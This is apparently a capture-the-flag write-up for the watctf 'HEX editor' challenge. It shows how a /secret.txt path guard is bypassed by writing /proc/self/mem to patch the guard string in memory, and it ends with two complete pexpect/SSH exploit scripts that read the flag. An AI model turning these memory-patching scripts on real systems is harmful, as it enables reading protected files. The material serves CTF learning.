HEX Editor (watctf) — bypassing the /secret.txt guard via /proc/self/mem

Category pwn / sandbox escape • Difficulty medium • Target interactive “HEX editor” binary

TL;DR

Table of Contents

  1. Challenge overview
  2. Initial recon & interface
  3. Dead ends we tried (and why they failed)
  4. Key check: can we write /proc/self/mem?
  5. Reading memory layout (/proc/self/maps)
  6. Plan: patch the guard string in .rodata
  7. Computing precise patch addresses from a local ELF
  8. Exploit: patch & read the secret
  9. Mitigations & takeaways
  10. Appendix: scripts used

1) Challenge overview

We connect via SSH to a forced command that runs a tiny interactive “HEX editor” with four commands:

Relevant source snippet (provided in challenge):

void do_open_command(char *user_path) {
    if (realpath(user_path, path) == NULL) { ... }

    if (startswith(path, "//")) {
        puts("path has to start with a single slash");
        clear_path();
        return;
    }
    if (strncmp(path, "/secret.txt", strlen("/secret.txt")) == 0) {
        puts("accessing /secret.txt not allowed");
        clear_path();
        return;
    }
    current_file = fopen(path, "r+");
    if (current_file == NULL) {
      if (errno == EACCES) { current_file = fopen(path, "r"); file_is_readonly = true; return; }
      perror("Failed opening file"); clear_path(); return;
    }
    file_is_readonly = false;
}

So the authors explicitly deny opening /secret.txt (after canonicalizing the path with realpath).

2) Initial recon & interface

Connect with a non-interactive shell disabled (-T):

ssh -T -p 2022 -o StrictHostKeyChecking=accept-new hexed@challs.watctf.org

Welcome to HEX (HEX Editor Xtended) v8.5 (bugs patched!)
Run 'help' for help
>

Basic test:

status
No files open.
open /readme.txt
get 0
You're not editing any files currently  ← not found / permission / path

3) Dead ends we tried (and why they failed)

  1. TOCTOU symlink race between realpath() and fopen():
    We’d need a second channel on the host to rapidly relink in /tmp. ForceCommand and lack of extra services (SFTP/HTTP) shut that door (SFTP even printed “Received message too long…”, local port forward refused connections).
  2. FD brute force (/proc/self/fd/*):
    The process did not keep an FD to /secret.txt. Scanning returned only stdio and pipes; nothing mapped to the secret.
  3. Block devices /dev/*:
    No access to raw disks in the container; and even if present, our editor uses fseek() and permission constraints would still apply.
  4. /proc odds & ends:
    We listed many candidates; most interesting files (kcore, mem of other PIDs) are restricted. Some virtual files are not seekable (our editor requires fseek for get).

4) Key check — can we write /proc/self/mem?

We tried a safe 1-byte write on the heap, with an immediate rollback:

open /proc/self/mem
# pick a safe heap address from maps (see next section), e.g. 0x1d689000
get 493391872        # = 0x1d689000
00
set 493391872 41     # write 'A'
get 493391872
41
set 493391872 00     # restore
get 493391872
00

Success: the process can write to its own memory. That unlocks a simple, precise bypass.

5) Reading memory layout (/proc/self/maps)

We dumped the memory map. Relevant lines (trimmed):

00400000-00401000 r--p            /build/main
00401000-00497000 r-xp            /build/main
00497000-004c1000 r--p            /build/main   ← rodata (big)
004c1000-004c5000 r--p            /build/main   ← rodata
004c5000-004c8000 rw-p            /build/main   ← data/bss
...

This strongly suggests a non-PIE ET_EXEC binary (fixed 0x004… addresses). That means offsets in the file map predictably to in-memory virtual addresses.

6) Plan: patch the guard string in .rodata

The guard does a string compare against the literal "/secret.txt" from .rodata. If we flip its first byte to '.', the compare fails and the program happily opens the file.

Two ways to locate the literal in memory:

We did the precise way (addresses don’t move because the binary is non-PIE).

7) Computing precise patch addresses from a local ELF

We loaded the local ./main, searched for the file bytes "/secret.txt", then converted file offsets to virtual addresses using the LOAD segments: vaddr = p_vaddr + (file_off - p_offset).

python3 hexed_patch_by_binary.py --bin ./main --dry-run
[*] Found occurrences in file: 0x9704e, 0x9706a, 0x971a1
[*] Runtime addresses for patch: 0x49704e, 0x49706a, 0x4971a1
[i] --dry-run: exiting without patch.

So there are three copies of the literal in .rodata, at virtual addresses 0x49704e, 0x49706a, 0x4971a1.

8) Exploit: patch & read the secret

We can patch one byte per address ('/' → '.', i.e., 0x2f → 0x2e) via /proc/self/mem and then call open /secret.txt.

Option A — Auto-patch all occurrences (recommended)

python3 hexed_patch_by_binary.py --bin ./main
[*] @ 0x49704e: before=0x2f → '.'   after=0x2e
[*] @ 0x49706a: before=0x2f → '.'   after=0x2e
[*] @ 0x4971a1: before=0x2f → '.'   after=0x2e
[+] open /secret.txt … reading …
watctf{h0p3fully_th3r3_w4snt_4n_un1nt3nd3d_ag41n}

Option B — Patch a single address manually

python3 hexed_patch_at_addr.py --addr 0x49704e
# (script previews bytes around, writes 0x2e, then tries open /secret.txt)

Optional rollback

To put the byte back for a clean state:

python3 hexed_patch_at_addr.py --addr 0x49704e --value 0x2f
python3 hexed_patch_at_addr.py --addr 0x49706a --value 0x2f
python3 hexed_patch_at_addr.py --addr 0x4971a1 --value 0x2f

9) Mitigations & takeaways


Appendix: scripts used

Script A — Patch all occurrences by analyzing the local ELF (hexed_patch_by_binary.py)
#!/usr/bin/env python3
# Patch "/secret.txt" in memory using local ELF to compute addresses
import argparse, subprocess, re, sys, pexpect
PROMPT = r">\s*$"
HEX_RX = re.compile(r"\b([0-9a-fA-F]{2})\s*$")
TARGET = b"/secret.txt"
PATCH_TO = ord(b".")

def run(cmd): return subprocess.check_output(cmd, text=True)

def parse_load_segments(bin_path):
    out = run(["readelf", "-lW", bin_path])
    segs = []
    rx = re.compile(r"^\s*LOAD\s+0x([0-9a-fA-F]+)\s+0x([0-9a-fA-F]+)\s+0x[0-9a-fA-F]+\s+0x([0-9a-fA-F]+)\s+0x[0-9a-fA-F]+\s+([RWE ]{3})")
    for ln in out.splitlines():
        m = rx.match(ln)
        if not m: continue
        p_off = int(m.group(1), 16)
        p_vaddr = int(m.group(2), 16)
        p_filesz = int(m.group(3), 16)
        flags = m.group(4).replace(" ","")
        segs.append((p_off, p_vaddr, p_filesz, flags))
    if not segs:
        raise RuntimeError("Failed to parse LOAD segments")
    return segs

def file_find_all(data: bytes, pat: bytes):
    offs = []; i = 0
    while True:
        j = data.find(pat, i)
        if j < 0: break
        offs.append(j); i = j + 1
    return offs

def offs_to_vaddr(offs, segs):
    addrs = []
    for off in offs:
        for p_off, p_vaddr, p_filesz, _ in segs:
            if p_off <= off < p_off + p_filesz:
                addrs.append(p_vaddr + (off - p_off)); break
    return sorted(set(addrs))

def expect_prompt(ch):
    for _ in range(10):
        try:
            i = ch.expect([PROMPT, pexpect.TIMEOUT, pexpect.EOF], timeout=0.6)
            if i == 0: return
            ch.sendline("")
        except Exception:
            ch.sendline("")

def do(ch, cmd, t=2.0):
    ch.sendline(cmd)
    try: ch.expect([PROMPT, pexpect.TIMEOUT, pexpect.EOF], timeout=t)
    except Exception: pass
    return ch.before or ""

def getb(ch, off, t=1.0):
    m = HEX_RX.search(do(ch, f"get {off}", t))
    return int(m.group(1),16) if m else None

def setb(ch, off, val, t=1.5):
    out = do(ch, f"set {off} {val:02x}", t).lower()
    return ("readonly" not in out) and ("failed" not in out), out

def main():
    ap = argparse.ArgumentParser(description="Patch '/secret.txt' using local ELF")
    ap.add_argument("--bin", required=True)
    ap.add_argument("--host", default="challs.watctf.org")
    ap.add_argument("--port", default="2022")
    ap.add_argument("--user", default="hexed")
    ap.add_argument("--ssh-extra", default="")
    ap.add_argument("--read-bytes", type=int, default=2048)
    ap.add_argument("--dry-run", action="store_true")
    args = ap.parse_args()

    with open(args.bin, "rb") as f:
        data = f.read()
    segs = parse_load_segments(args.bin)
    offs = file_find_all(data, TARGET)
    if not offs:
        print("[!] No '/secret.txt' in local ELF"); sys.exit(1)
    addrs = offs_to_vaddr(offs, segs)
    if not addrs:
        print("[!] Could not map file offsets to vaddrs"); sys.exit(2)

    print("[*] Found occurrences in file:", ", ".join(f"0x{o:x}" for o in offs))
    print("[*] Runtime addresses for patch:", ", ".join(f"0x{a:x}" for a in addrs))
    if args.dry_run:
        print("[i] --dry-run: exiting without patch."); sys.exit(0)

    cmd = f"ssh -T -p {args.port} -oStrictHostKeyChecking=accept-new -oConnectTimeout=5 {args.ssh_extra} {args.user}@{args.host}"
    ch = pexpect.spawn(cmd, encoding="utf-8", timeout=3, maxread=20000)
    expect_prompt(ch)

    pre = do(ch, "open /proc/self/mem", 3.0).lower()
    if "failed" in pre or "denied" in pre or "could not resolve" in pre:
        print("[!] /proc/self/mem unavailable:", pre.strip()); ch.close(force=True); sys.exit(3)

    patched = 0
    for a in addrs:
        b0 = getb(ch, a)
        print(f"[*] @ {a:#x}: before=0x{(b0 if b0 is not None else 0):02x}  -> '.'")
        ok, msg = setb(ch, a, PATCH_TO)
        if not ok:
            print("    [-] write failed:", (msg or "").strip()); continue
        b1 = getb(ch, a)
        print(f"    after=0x{(b1 if b1 is not None else 0):02x}")
        patched += 1
    print(f"[*] Applied patches: {patched}")

    out = do(ch, "open /secret.txt", 3.0).lower()
    if "not allowed" in out:
        print("[-] Guard still fires — another copy remains?")
    elif "failed" in out or "could not resolve" in out:
        print("[-] Could not open /secret.txt:", out.strip())
    else:
        print("[+] Opened /secret.txt — reading…")
        buf = bytearray()
        for i in range(args.read_bytes):
            m = HEX_RX.search(do(ch, f"get {i}", 0.7))
            if not m: break
            buf.append(int(m.group(1),16))
        try:
            print(bytes(buf).decode("utf-8", errors="replace"))
        except Exception:
            print("".join(chr(x) if 32<=x<127 else "." for x in buf))
    ch.close(force=True)

if __name__ == "__main__":
    main()
Script B — Patch a single byte at a known address (hexed_patch_at_addr.py)
#!/usr/bin/env python3
# Patch one byte at absolute address via /proc/self/mem and read /secret.txt
import argparse, pexpect, re
PROMPT = r">\s*$"; HEX_RX = re.compile(r"\b([0-9a-fA-F]{2})\s*$")

def expect_prompt(ch):
    for _ in range(12):
        try:
            if ch.expect([PROMPT, pexpect.TIMEOUT, pexpect.EOF], timeout=0.6) == 0: return
            ch.sendline("")
        except: ch.sendline("")

def do(ch, cmd, t=2.0):
    ch.sendline(cmd)
    try: ch.expect([PROMPT, pexpect.TIMEOUT, pexpect.EOF], timeout=t)
    except: pass
    return ch.before or ""

def getb(ch, off, t=1.0):
    m = HEX_RX.search(do(ch, f"get {off}", t))
    return int(m.group(1), 16) if m else None

def setb(ch, off, val, t=1.5):
    out = do(ch, f"set {off} {val:02x}", t).lower()
    return ("readonly" not in out) and ("failed" not in out), out

def dump_around(ch, center, pre=16, post=16):
    start = max(0, center - pre); data = []
    for i in range(start, center + post):
        x = getb(ch, i, 0.8)
        if x is None: break
        data.append(x)
    hexs = " ".join(f"{b:02x}" for b in data)
    asc  = "".join(chr(b) if 32<=b<127 else "." for b in data)
    print(f"[{start:#x}..{start+len(data):#x}]"); print(hexs); print(asc)

def main():
    ap = argparse.ArgumentParser(description="Patch one byte at address")
    ap.add_argument("--addr", default="0x0049704e")
    ap.add_argument("--value", default="0x2e")  # '.' instead of '/'
    ap.add_argument("--host", default="challs.watctf.org")
    ap.add_argument("--port", default="2022")
    ap.add_argument("--user", default="hexed")
    ap.add_argument("--ssh-extra", default="")
    ap.add_argument("--preview", type=int, default=16)
    ap.add_argument("--read-bytes", type=int, default=1024)
    a = ap.parse_args()
    addr = int(a.addr, 0); newv = int(a.value, 0)

    cmd = f"ssh -T -p {a.port} -oStrictHostKeyChecking=accept-new -oConnectTimeout=5 {a.ssh_extra} {a.user}@{a.host}"
    ch = pexpect.spawn(cmd, encoding="utf-8", timeout=3, maxread=20000); expect_prompt(ch)

    pre = do(ch, "open /proc/self/mem", 3.0).lower()
    if "failed" in pre or "denied" in pre or "could not resolve" in pre:
        print("[!] /proc/self/mem unavailable:", pre.strip()); ch.close(force=True); return

    print(f"[*] preview around {addr:#x} (before):"); dump_around(ch, addr, a.preview, a.preview)
    b0, (ok, _msg) = getb(ch, addr), setb(ch, addr, newv)
    if not ok: print("[-] write failed"); ch.close(force=True); return
    b1 = getb(ch, addr)
    print(f"[+] patched {addr:#x}: 0x{b0:02x} → 0x{b1:02x}")
    print(f"[*] preview around {addr:#x} (after):"); dump_around(ch, addr, a.preview, a.preview)

    out = do(ch, "open /secret.txt", 3.0).lower()
    if "not allowed" in out:
        print("[-] guard still triggers"); ch.close(force=True); return
    print("[+] opened /secret.txt — reading:")
    buf = bytearray()
    for i in range(a.read_bytes):
        m = HEX_RX.search(do(ch, f"get {i}", 0.7))
        if not m: break
        buf.append(int(m.group(1),16))
    try: print(buf.decode("utf-8", errors="replace"))
    except: print("".join(chr(x) if 32<=x<127 else "." for x in buf))
    ch.close(force=True)

if __name__ == "__main__": main()

Credits: thanks to the organizers for the fun sandbox. All steps above are for educational CTF purposes.